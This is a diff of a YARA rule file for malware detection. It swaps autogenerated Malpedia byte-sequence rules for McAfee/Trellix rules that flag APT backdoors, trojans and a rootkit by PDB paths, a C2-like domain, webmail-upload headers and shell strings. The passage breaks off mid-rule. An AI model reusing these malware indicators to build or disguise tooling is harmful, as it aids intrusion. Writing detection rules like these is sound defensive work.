-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aperetif"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.aperetif_auto.yar#L1-L134"
-		license_url = "N/A"
-		logic_hash = "cb1f1d595273c378c0af7214424a9c75d431ec33b0d3744330f8349a67692fb4"
+		description = "Rule to detect Elise APT based on the PDB reference"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "cc8dd203-baad-5800-ba2c-f9c47d8ca6f0"
+		date = "2017-05-31"
+		modified = "2020-08-14"
+		reference = "https://attack.mitre.org/software/S0081/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_elise_pdb.yar#L1-L29"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "b426dbe0f281fe44495c47b35c0fb61b28558b5c8d9418876e22ec3de4df9e7b"
+		logic_hash = "bb7eee8082aa0f6634a8c4cdb9cbe0e2a7f00b97e48609c81a21bdaac64a5496"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Elise"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 8b4108 8975e4 c70100000000 c7410400000000 8945ec c7410800000000 c645f301 }
-		$sequence_1 = { e8???????? 8a45d8 884524 8b0e c645fc02 85c9 0f8412010000 }
-		$sequence_2 = { 50 8d45f4 64a300000000 8bd9 895db8 8b7508 837e1000 }
-		$sequence_3 = { f20f118424f8080000 8b0cb0 85c9 7422 8b742464 90 0fb7047e }
-		$sequence_4 = { ff74242c 57 e8???????? 83c410 eb14 8b8724000800 b900000200 }
-		$sequence_5 = { 8954242c 660f1f440000 53 ff742424 68c0000000 56 55 }
-		$sequence_6 = { ff742410 ff742424 e8???????? 83c408 897c2410 89742450 8b44245c }
-		$sequence_7 = { e8???????? ff742434 53 e8???????? ff742428 53 e8???????? }
-		$sequence_8 = { ff5210 8b4dc8 c7451803000000 85c9 7418 8b11 8d45a4 }
-		$sequence_9 = { e8???????? c7868400000000000000 8b37 8b8e84000000 85c9 7506 8b8e88000000 }
+		$pdb = "\\lstudio\\projects\\lotus\\elise\\Release\\EliseDLL\\i386\\EliseDLL.pdb"
+		$pdb1 = "\\LStudio\\Projects\\Lotus\\Elise\\Release\\SetElise.pdb"
+		$pdb2 = "\\lstudio\\projects\\lotus\\elise\\Release\\SetElise\\i386\\SetElise.pdb"
+		$pdb3 = "\\LStudio\\Projects\\Lotus\\Elise\\Release\\Uninstaller.pdb"
+		$pdb4 = "\\lstudio\\projects\\lotus\\evora\\Release\\EvoraDLL\\i386\\EvoraDLL.pdb"
 
 	condition:
-		7 of them and filesize <10500096
+		uint16(0)==0x5a4d and filesize <50KB and any of them
 }
-rule MALPEDIA_Win_Kardonloader_Auto : FILE
+rule TRELLIX_ARC_Apt_Manitsme_Trojan : TROJAN FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3f6a3bad-df12-536d-9e36-cfe1dc9fa562"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kardonloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.kardonloader_auto.yar#L1-L127"
-		license_url = "N/A"
-		logic_hash = "4fe311b419f6bafe180c85c33e9d2d9d1da43b3315ab993943a70f218a823338"
+		description = "Rule to detect the Manitsme trojan"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "49e0c934-6920-5e49-837c-27ebbbd5a1a2"
+		date = "2013-03-08"
+		modified = "2020-08-14"
+		reference = "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_manitsme_trojan_pdb.yar#L1-L36"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "c1c0ea096ec4d36c1312171de2a9ebe258c588528a20dbb06a7e3cf97bf1e197"
+		logic_hash = "584053145249a930d3eae5e291d3553c57fa427dbecac9f04e7c0169f153b7af"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "TROJAN, FILE"
+		rule_version = "v1"
+		malware_type = "trojan"
+		malware_family = "Trojan:W32/Manitsme"
+		actor_type = "Apt"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 83e13f c1e806 03c3 8a0490 88443702 8a0419 8b4d0c }
-		$sequence_1 = { 5e 8be5 5d c3 6a00 ff15???????? cc }
-		$sequence_2 = { e8???????? 83c438 85c0 7405 83c004 }
-		$sequence_3 = { 56 ff7508 68???????? e8???????? 85c0 0f8421010000 }
-		$sequence_4 = { 50 56 e8???????? 83c40c 894714 b001 5f }
-		$sequence_5 = { e8???????? 59 50 8d8550faffff 50 }
-		$sequence_6 = { 50 ff35???????? ff35???????? e8???????? 83c438 e9???????? 5f }
-		$sequence_7 = { 750b c74704???????? 0fb7720a 6a05 58 663bf0 750e }
-		$sequence_8 = { c0e204 8b45fc 880c30 0fb6441f02 8a8018314000 c0e802 }
-		$sequence_9 = { 50 8d85e4fdffff 50 8d85e8feffff 68???????? 50 }
+		$s1 = "SvcMain.dll" fullword ascii
+		$s2 = "rj.soft.misecure.com" fullword ascii
+		$s3 = "d:\\rouji\\SvcMain.pdb" fullword ascii
+		$s4 = "constructor or from DllMain." fullword ascii
+		$s5 = "Open File Error" fullword ascii
+		$s6 = "nRet == SOCKET_ERROR" fullword ascii
+		$s7 = "Oh,shit" fullword ascii
+		$s8 = "Paraing" fullword ascii
+		$s9 = "Hallelujah" fullword ascii
+		$s10 = "ComSpec" fullword ascii
+		$s11 = "ServiceMain" fullword ascii
+		$s12 = "SendTo(s,(char *)&sztop,sizeof(sztop),FILETYPE) == ERRTYPE" fullword ascii
 
 	condition:
-		7 of them and filesize <57344
+		uint16(0)==0x5a4d and filesize <200KB and all of them
 }
-rule MALPEDIA_Win_Unidentified_111_Auto : FILE
-{
-	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "761c3c1a-627b-5adf-b1c2-f96f11c05a94"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_111"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_111_auto.yar#L1-L125"
-		license_url = "N/A"
-		logic_hash = "8a86a6eb9509e0a5b4e912cde53abfcabb23f3644fc565d69ca8396c5dc5d7c9"
+rule TRELLIX_ARC_Apt_Gdocupload_Glooxmail : BACKDOOR FILE
+{
+	meta:
+		description = "Rule to detect gdocupload tool used by APT1"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "deb20196-65e6-5dac-af0c-2f16e5926715"
+		date = "2013-02-19"
+		modified = "2020-08-14"
+		reference = "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_gdocupload_pdb.yar#L1-L32"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "295c5c7aa5fa29628dec9f42ed657fce0bc789079c4e51932bcbc99a28dfd440"
+		logic_hash = "e016bb636af22fae79875bebaf1b4bd4f2a403e797d7ee52ea0691b4d7a54cf8"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 45
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Gdocupload"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 488b4c2428 0fbe09 3bc1 7512 }
-		$sequence_1 = { c744242002000000 e9???????? 837c243406 7511 837c243801 750a }
-		$sequence_2 = { 8b00 488b4c2430 488b09 0fbe0401 48634c2404 488b542428 0fbe0c0a }
-		$sequence_3 = { eb43 41b901000000 448b442424 488b542428 488b4c2448 e8???????? }
-		$sequence_4 = { eb1f c744242000000000 4533c9 4533c0 }
-		$sequence_5 = { 488b4c2448 ff15???????? 89442444 837c244400 7502 eb11 }
-		$sequence_6 = { 488d8c0c60020000 ba02000000 486bd200 4803ca 448bc0 488b542420 e8???????? }
-		$sequence_7 = { 66c1ca08 0fb7d2 4c8b8424a0000000 450fb74006 6641c1c808 450fb7c0 4c8b8c24a0000000 }
-		$sequence_8 = { e8???????? b910000000 e8???????? 4889442448 488b442448 488b4c2450 488908 }
-		$sequence_9 = { 4889542410 48894c2408 4883ec78 c744243000000000 c744243400000000 488b942488000000 488d4c2448 }
+		$s1 = "https://www.google.com/accounts/ServiceLogin?service=writely&passive=1209600&continue=http://docs.google.com/&followup=http://do" ascii
+		$s2 = "Referer: http://sn114w.snt114.mail.live.com/mail/AttachmentUploader.aspx?_ec=1" fullword ascii
+		$s3 = "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET " ascii
+		$s4 = "e:\\Project\\mm\\Webmail\\Bin\\gdocs.pdb" fullword ascii
+		$s5 = "http://docs.google.com/?auth=" fullword ascii
+		$s6 = "x-guploader-client-info: mechanism=scotty flash; clientVersion=18067216" fullword ascii
+		$s7 = "http://docs.google.com/" fullword ascii
+		$s8 = "Referer: http://sn114w.snt114.mail.live.com/mail/EditMessageLight.aspx?n=%s" fullword ascii
 
 	condition:
-		7 of them and filesize <148480
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule MALPEDIA_Win_Buterat_Auto : FILE
+rule TRELLIX_ARC_Apt_Hikit_Rootkit : ROOTKIT FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3e97b50a-971b-5a6b-945e-3e34fedb231a"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.buterat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.buterat_auto.yar#L1-L129"
-		license_url = "N/A"
-		logic_hash = "eb64ab06f54c3ecee14053c6efd01e298ad3b6ab4366443760576f0899003a4d"
+		description = "Rule to detect the rootkit hikit based on PDB"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "c53acbc6-8f4a-590b-8dd7-ce4da6d79cf8"
+		date = "2012-08-20"
+		modified = "2020-08-14"
+		reference = "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_hikit_rootkit_pdb.yar#L1-L28"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "8a425ababdfbe95bd8ac7d4f519be16c0f1fd0b7eea2874124db2f00dd6eb56d"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "ROOTKIT, FILE"
+		rule_version = "v1"
+		malware_type = "rootkit"
+		malware_family = "Rootkit:W32/Hikit"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 56 8d4dfc 51 57 50 53 }
-		$sequence_1 = { 750a 56 6a07 e8???????? 59 59 ff750c }
-		$sequence_2 = { ff15???????? 8b5d75 53 33c0 e8???????? 85c0 59 }
-		$sequence_3 = { 56 57 33f6 e8???????? 85c0 59 0f868b000000 }
-		$sequence_4 = { 750b e8???????? 99 f77dfc 8bda 837d6806 }
-		$sequence_5 = { 8d8564dfffff 50 8bc3 e8???????? 83c40c ff75f4 ffd7 }
-		$sequence_6 = { 8bec b800100000 e8???????? 8b4d08 }
-		$sequence_7 = { e8???????? 83c40c 85c0 0f8424010000 68???????? 53 68???????? }
-		$sequence_8 = { 41 41 47 3b7d0c 72cd 5b 33c0 }
-		$sequence_9 = { 33db 385d1c 56 57 895df0 750d 8a4518 }
+		$pdb = "\\JmVodServer\\hikit\\bin32\\RServer.pdb"
+		$pdb1 = "\\JmVodServer\\hikit\\bin32\\w7fw.pdb"
+		$pdb2 = "\\JmVodServer\\hikit\\bin32\\w7fw_2k.pdb"
+		$pdb3 = "\\JmVodServer\\hikit\\bin64\\w7fw_x64.pdb"
 
 	condition:
-		7 of them and filesize <278528
+		uint16(0)==0x5a4d and filesize <100KB and any of them
 }
-rule MALPEDIA_Win_Svcready_Auto : FILE
+rule TRELLIX_ARC_Apt_Lagulon_Trojan_Pdb : TROJAN FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "18ab3505-c0ef-5267-b797-184b8eb52424"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.svcready"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.svcready_auto.yar#L1-L131"
-		license_url = "N/A"
-		logic_hash = "e011f730891f501adbcafbb04605066e1d9bcba49b0031ae67a9bae5fc387ad9"
+		description = "Rule to detect trojan Lagulon based on PDB"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "a31a465d-1f16-5c3e-a62d-ea15c11253c3"
+		date = "2013-08-31"
+		modified = "2020-08-14"
+		reference = "https://www.cylance.com/operation-cleaver-cylance"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_lagulon_pdb.yar#L1-L25"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "e401340020688cdd0f5051b7553815eee6bc04a5a962900883f1b3676bf1de53"
+		logic_hash = "dad04c2deb990f253f952b768b74349dc9afb5f6db91ea3afff889f4c9f3230b"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "TROJAN, FILE"
+		rule_version = "v1"
+		malware_type = "trojan"
+		malware_family = "Trojan:W32/lagulon"
+		actor_type = "Apt"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 33c8 c1ca0d 33ce 8bc3 33c1 c1ce03 894c2418 }
-		$sequence_1 = { 83611000 c741140f000000 68???????? c60100 e8???????? 8365fc00 }
-		$sequence_2 = { 59 59 895dc0 895dc4 895dc8 8b4df4 8bc6 }
-		$sequence_3 = { 8904d1 56 ff742410 8d4f04 e8???????? 8b44240c 5f }
-		$sequence_4 = { 8bd8 8a0b 80f97f 0f855fffffff 8b54240c 8b4d18 }
-		$sequence_5 = { d1cb 33d5 8bc7 c1e003 33da c1cd07 }
-		$sequence_6 = { 33c3 8bd7 33c5 0bd3 8bda 0bd1 33d9 }
-		$sequence_7 = { e8???????? 83c414 eb1a 53 57 e8???????? 668b442430 }
-		$sequence_8 = { c645fc01 8d45d8 ff7508 53 6a10 83ec18 8bcc }
-		$sequence_9 = { 7607 bbffffff7f eb0a b816000000 3bd8 0f42d8 8d4b01 }
+		$pdb = "\\proj\\wndTest\\Release\\wndTest.pdb"
 
 	condition:
-		7 of them and filesize <1187840
+		uint16(0)==0x5a4d and filesize <50KB and any of them
 }
-rule MALPEDIA_Win_Tor_Loader_Auto : FILE
+rule TRELLIX_ARC_Apt_Miniasp_Pdb : TROJAN FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a70795d3-ed07-58b1-af1f-1705de4529bb"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tor_loader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tor_loader_auto.yar#L1-L134"
-		license_url = "N/A"
-		logic_hash = "5d8db358e57884a4955f1fc346221e8831cd43555daaec59fcf000e4dc8835e4"
+		description = "Rule to detect MiniASP based on PDB"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "2e7e2990-5e7f-52b0-884a-fcb54b2f5488"
+		date = "2012-07-12"
+		modified = "2020-08-14"
+		reference = "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_MiniASP_pdb.yar#L1-L26"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "42334f2119069b8c0ececfb14a7030e480b5d18ca1cc35f1ceaee847bc040e53"
+		logic_hash = "8ee6f93aaae2c48cc5835269fd526371040cd33cc309220f92a150444ba21055"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "TROJAN, FILE"
+		rule_version = "v1"
+		malware_type = "trojan"
+		malware_family = "Trojan:W32/MiniASP"
+		actor_type = "Apt"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { eb29 488d7a38 e8???????? 4889df 488b4c2440 6690 e8???????? }
-		$sequence_1 = { eb15 4c8d8f88000000 4889f8 4c89cf e8???????? 4889c7 488b4740 }
-		$sequence_2 = { e8???????? 48c7400810000000 488d0da0490c00 488908 833d????????00 6690 7509 }
-		$sequence_3 = { eb0c 41bc00000000 41bb00000000 0f8573feffff 4c8bac2480000000 4883bc248800000004 0f855cfeffff }
-		$sequence_4 = { e9???????? 4c89542478 4983f901 7560 488d05a10e1900 bb01000000 4889d9 }
-		$sequence_5 = { e8???????? 833d????????00 750e 488b8c24800d0000 48894818 eb11 488d7818 }
-		$sequence_6 = { e8???????? 488d05ca2e1300 e8???????? 48c7400826000000 488d0d358f1800 488908 4889c3 }
-		$sequence_7 = { e8???????? 488d05dc0e3100 bb04000000 e8???????? 488b8424d0000000 e8???????? 488d050b203100 }
-		$sequence_8 = { eb38 488b8c24c0020000 488b11 488b4238 6690 e8???????? 83f001 }
-		$sequence_9 = { e8???????? 48895c2450 4889c1 488d053fe00500 4889cb e8???????? 488b5c2450 }
+		$pdb = "\\Project\\mm\\Wininet\\Attack\\MiniAsp4\\Release\\MiniAsp.pdb"
+		$pdb1 = "\\XiaoME\\AiH\\20120410\\Attack\\MiniAsp3\\Release\\MiniAsp.pdb"
 
 	condition:
-		7 of them and filesize <13050880
+		uint16(0)==0x5a4d and filesize <80KB and any of them
 }
-rule MALPEDIA_Win_Contopee_Auto : FILE
+rule TRELLIX_ARC_Enfal_Pdb : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "77374f1e-6c89-5026-9b9e-741c43271a9e"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.contopee"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.contopee_auto.yar#L1-L123"
-		license_url = "N/A"
-		logic_hash = "887c3d1e6d8d0ed992ba95d9f863595a093876d8864d3c96b3a6d6d4a8e08fbb"
+		description = "Rule to detect Enfal malware"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "09b9667c-cf58-5438-958d-19a99fe91e32"
+		date = "2013-08-27"
+		modified = "2020-08-14"
+		reference = "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/enfal"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/enfal_pdb.yar#L1-L29"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		hash = "6756808313359cbd7c50cd779f809bc9e2d83c08da90dbd80f5157936673d0bf"
+		logic_hash = "1f7785a4c54981c3e7cb417718312e0ed82132b9bd9288f7b0f322cbeafbaecd"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 70
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:W32/Enfal"
+		actor_type = "Apt"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { c3 8bac244c020000 55 6a00 }
-		$sequence_1 = { 83c41c eb35 8b5614 8b442430 6a00 6aff 42 }
-		$sequence_2 = { 6880000000 50 8d8e6a050000 6880000000 51 }
-		$sequence_3 = { 66896c240c 8d842414020000 50 57 ff15???????? }
-		$sequence_4 = { 7510 ff15???????? 5f 5d 5b 81c4dc040000 c3 }
-		$sequence_5 = { 8bf8 ebc8 ff15???????? 8bf8 ebd1 5f }
-		$sequence_6 = { 7432 6a0f 51 50 e8???????? 8bf0 }
-		$sequence_7 = { 8bd8 8b4608 83f802 8b44242c 0f858e000000 eb04 8b7c2418 }
-		$sequence_8 = { 68???????? 51 ff15???????? 8b84243c020000 8d542428 52 50 }
-		$sequence_9 = { 52 e8???????? 83c430 5f 5e }
+		$pdb = "\\Documents and Settings\\Administrator\\My Documents\\Work\\EtenFalcon\\Release\\DllServiceTrojan.pdb"
+		$pdb1 = "\\Documents and Settings\\Administrator\\My Documents\\Work\\EtenFalcon\\Release\\ServiceDll.pdb"
+		$pdb2 = "\\Release\\ServiceDll.pdb"
+		$pdb3 = "\\muma\\0511\\Release\\ServiceDll.pdb"
+		$pdb4 = "\\programs\\LuridDownLoader\\LuridDownloader for Falcon\\ServiceDll\\Release\\ServiceDll.pdb"
 
 	condition:
-		7 of them and filesize <180224
+		uint16(0)==0x5a4d and filesize <150KB and any of them
 }
-rule MALPEDIA_Win_Sys10_Auto : FILE
+rule TRELLIX_ARC_Apt_Nix_Elf_Derusbi : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "01030a4d-1840-51b2-a9d0-6bbc4385fa1e"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sys10"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sys10_auto.yar#L1-L123"
-		license_url = "N/A"
-		logic_hash = "6943a43537b8ee069df094c74ea397f99150d4b78d4cfd8ed6ddb44f86656e07"
+		description = "Rule to detect the APT Derusbi ELF file"
+		author = "Marc Rivero | McAfee ATR Team"
+		id = "3b1c9644-7279-5e2c-8891-f03ca78cf3b7"
+		date = "2017-05-31"
+		modified = "2020-08-14"
+		reference = "https://attack.mitre.org/software/S0021/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Derusbi.yar#L1-L61"
+		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
+		logic_hash = "0a83566a0540d28d1cc0ebee01d29d15ddc86cabff9044fd8a198b847ba24c50"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		version = "1"
-		tool = "yara-signator v0.6.0"
-		signator_config = "callsandjumps;datarefs;binvalue"
-		malpedia_rule_date = "20231130"
-		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
-		malpedia_version = "20230808"
-		malpedia_license = "CC BY-SA 4.0"
-		malpedia_sharing = "TLP:WHITE"
+		quality = 68
+		tags = "BACKDOOR, FILE"
+		rule_version = "v1"
+		malware_type = "backdoor"
+		malware_family = "Backdoor:ELF/Derusbi"
+		actor_type = "Cybercrime"
+		actor_group = "Unknown"
 
 	strings:
-		$sequence_0 = { 6a03 68???????? 68???????? 51 52 50 ff15???????? }
-		$sequence_1 = { 837e04ff 740b 8b16 52 e8???????? 83c404 }
-		$sequence_2 = { 8b4e0c 51 ff15???????? 8b5608 6aff 52 ff15???????? }
-		$sequence_3 = { 56 e8???????? 83c404 85c0 74c6 8b4c2410 896e10 }
-		$sequence_4 = { 6810270000 ff15???????? 33c0 59 }
-		$sequence_5 = { 837e04ff 740b 8b16 52 }
-		$sequence_6 = { 56 89442414 e8???????? 83c404 85c0 7541 }
-		$sequence_7 = { 52 6a05 50 ffd6 8b5308 }
-		$sequence_8 = { 8d4c2413 51 6800400000 52 50 e8???????? }
-		$sequence_9 = { 8b13 52 ffd7 8b4304 50 ffd7 8b4b08 }
+		$s1 = "LxMain"
+		$s2 = "execve"
+		$s3 = "kill"
+		$s4 = "cp -a %s %s"
+		$s5 = "%s &"
+		$s6 = "dbus-daemon"
+		$s7 = "--noprofile"
+		$s8 = "--norc"
+		$s9 = "TERM=vt100"
+		$s10 = "/proc/%u/cmdline"
+		$s11 = "loadso"
+		$s12 = "/proc/self/exe"
+		$s13 = "Proxy-Connection: Keep-Alive"
+		$s14 = "Connection: Keep-Alive"
+		$s15 = "CONNECT %s"
+		$s16 = "HOST: %s:%d"
+		$s17 = "User-Agent: Mozilla/4.0"
+		$s18 = "Proxy-Authorization: Basic %s"
+		$s19 = "Server: Apache"
+		$s20 = "Proxy-Authenticate"
+		$s21 = "gettimeofday"
+		$s22 = "pthread_create"
+		$s23 = "pthread_join"
+		$s24 = "pthread_mutex_init"
+		$s25 = "pthread_mutex_destroy"
+		$s26 = "pthread_mutex_lock"
+		$s27 = "getsockopt"
+		$s28 = "socket"
+		$s29 = "setsockopt"
+		$s30 = "select"
+		$s31 = "bind"
+		$s32 = "shutdown"
+		$s33 = "listen"
+		$s34 = "opendir"
+		$s35 = "readdir"
+		$s36 = "closedir"
+		$s37 = "rename"
 
 	condition:
-		7 of them and filesize <286720
+		( uint32(0)==0x4464c457f) and filesize <200KB and all of them
 }
-rule MALPEDIA_Win_Unidentified_076_Auto : FILE
+rule TRELLIX_ARC_Apt_Nix_Elf_Derusbi_Kernelmodule : BACKDOOR FILE
 {
 	meta:
-		description = "autogenerated rule brought to you by yara-signator"
-		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "c76f9b8e-5a48-5b08-ae0b-831af19ce579"
-		date = "2023-12-06"
-		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_076"
